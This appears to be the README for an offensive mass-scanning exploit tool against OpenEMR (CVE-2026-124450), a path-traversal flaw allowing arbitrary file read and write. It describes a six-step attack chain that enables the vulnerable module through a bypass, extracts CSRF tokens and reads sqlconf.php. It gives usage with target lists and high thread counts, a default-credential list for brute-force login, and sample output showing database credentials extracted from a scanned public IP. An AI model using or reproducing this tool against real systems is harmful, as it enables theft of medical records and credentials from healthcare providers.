
OpenEMR before 8.3.0 Arbitrary File Read/Write via disposeDocument
OpenEMR before 8.3.0 Arbitrary File Read/Write via disposeDocument
A broken-access-control and path-traversal vulnerability exists in the oe-module-faxsms module bundled with OpenEMR versions prior to 8.3.0.
The disposeDocument() method in both RCFaxClient and SignalWireClient accepts an unvalidated file_path parameter from the HTTP request and passes it directly to filesystem primitives — sendFile() for reads and file_put_contents() for writes — without any path confinement, basename(), realpath(), or traversal rejection.
An authenticated user holding only the broad patients/demo ACL (most clinical and clerical roles) can read arbitrary server files in cleartext and write attacker content to any web-server-writable path.
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-124450 |
| Advisories | GHSA-x2vr-jgg8-c57c · GHSA-wf4w-mx2w-j4vv |
| CVSS | 8.8 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 (Path Traversal) · CWE-73 (External Control of File Name or Path) |
| Affected | OpenEMR ≤ 8.2.0 |
| Fixed in | OpenEMR 8.3.0 |
| Required Privilege | Low — patients/demo ACL (default for nurses, front-office, clinicians) |
| Module | interface/modules/custom_modules/oe-module-faxsms |
The vulnerable code resides in two sibling controllers that were left unpatched when EtherFaxActions was hardened for CVE-2026-24848/CVE-2026-24849:
RCFaxClient::disposeDocument() (src/Controller/RCFaxClient.php):
$where = $this->getRequest('file_path'); // No validation
if ($action == 'download') {
$this->sendFile($where); // file_get_contents → echo → exit
}
if (!empty($content) && $action == 'setup') {
$decodedContent = base64_decode((string)$content);
file_put_contents($where, $this->crypto->encryptForFilesystem($decodedContent));
}
Neither RCFaxClient nor SignalWireClient applies isPathAllowed(), realpath(), or basename() to $where — while their sibling EtherFaxActions does.
The sendFile() helper streams the raw file contents via decryptFileBytes(), which returns bytes verbatim for non-OpenEMR-encrypted files (cryptCheckStandard() returns false). This means sqlconf.php, /etc/passwd, and key files are returned in cleartext.
┌─────────────────────────────────────────────────────────────┐
│ 1. Login POST main_screen.php?auth=login&site=default│
│ 2. Vendor Enable via setup_services.php if disabled │
│ 3. CSRF Extract token from setup_services.php │
│ 4. Read disposeDocument action=download │
│ 5. Write disposeDocument action=setup (base64 → disk) │
│ 6. RCE Only if drive_encryption=OFF (default=ON) │
└─────────────────────────────────────────────────────────────┘
Key implementation details:
The fax/SMS vendor defaults to disabled (oefax_enable_fax=0). When disabled, ServiceFactory::create() throws a RuntimeException and the module is unreachable. The tool activates the vendor through setup_services.php, which writes directly to the globals database table via BootstrapService::saveVendorGlobals() — completely bypassing the ServiceFactory gate.
disposeDocument() does not call authenticate() — no third-party API credentials (RingCentral, SignalWire, etc.) are needed.
The CSRF token from setup_services.php (default subject) is accepted for disposeDocument on many server configurations, removing the need to extract a separate contact-form subject token.
globals.php requires $_SESSION['site_id'] or $_GET['site'] — passing ?site=default in every module request prevents the MissingSiteIdException.
Python 3.8+
pip install requests
python CVE-2026-124450.py <targets.txt> [threads]
| Argument | Description | Default |
|---|---|---|
targets.txt | One URL per line — IPs, domains, with or without http(s):// | required |
threads | Concurrent threads | 80 |
python CVE-2026-124450.py targets.txt 100
https://192.168.1.10
http://emr.example.com:8080
10.0.0.5
emr.clinic.org
The tool produces three output files in the current working directory:
| File | Contents |
|---|---|
oe_rce.txt | High-value findings — database credential extractions, confirmed file reads, write confirmations, and RCE shells |
oe_vuln.txt | All findings — OpenEMR detections, successful logins, vendor status, and every step of the chain |
oe_creds.txt | Extracted credentials — login credentials and database credentials from sqlconf.php |
oe_rce.txt Entryhttps://target.com FILE-READ sqlconf.php host=mysql db=openemr user=openemr pass=a1b2c3d4...
oe_creds.txt Entryhttps://target.com admin:pass
https://target.com DB mysql:openemr openemr:a1b2c3d4...
The tool displays real-time progress during scanning:
╔════════════════════════════════════════════════════════════╗
║ CVE-2026-124450 OpenEMR < 8.3.0 ║
║ Targets: 4784 Threads: 140 ║
╚════════════════════════════════════════════════════════════╝
04:06:17 ★ [54.226.35.203] Login → admin:pass
04:07:00 ✓ [54.226.35.203] Vendor already enabled (type=fax)
04:07:01 ✓ [54.226.35.203] CSRF: 962b0654a42a...
04:07:02 ⚡ [54.226.35.203] ⚡ FILE-READ sqlconf.php → host=mysql db=openemr user=openemr
── 4784/4784 (3/s) OE:1901 Login:57 VendorOn:4 CSRF:4 Read:2 Write:0 RCE:0 ──
╔════════════════════════════════════════════════════════════╗
║ SCAN COMPLETE ║
╠════════════════════════════════════════════════════════════╣
║ Scanned: 4784 ║
║ OpenEMR: 1901 ║
║ Login OK: 57 ║
║ Vendor ON: 4 ║
║ CSRF: 4 ║
║ File Read: 2 ║
╚════════════════════════════════════════════════════════════╝
| Counter | Meaning |
|---|---|
| OE | Targets identified as OpenEMR |
| Login | Successful authentications with default credentials |
| VendorOn | Targets with the fax/SMS vendor already configured |
| VendorSet | Targets where the vendor was enabled by the tool via setup_services.php |
| CSRF | CSRF tokens successfully extracted |
| Read | Verified arbitrary file reads (content validated) |
| Write | Confirmed file writes to disk |
| RCE | Remote code execution achieved (drive_encryption=OFF) |
The tool attempts the following credential pairs during the login phase:
| Username | Password |
|---|---|
admin | pass, admin, openemr, Admin123, password, admin123, Pass123!, 123456 |
physician | physician |
clinician | clinician |
nurse | nurse |
receptionist | receptionist |
frontoffice | frontoffice |
doc | doc |
brady | pass |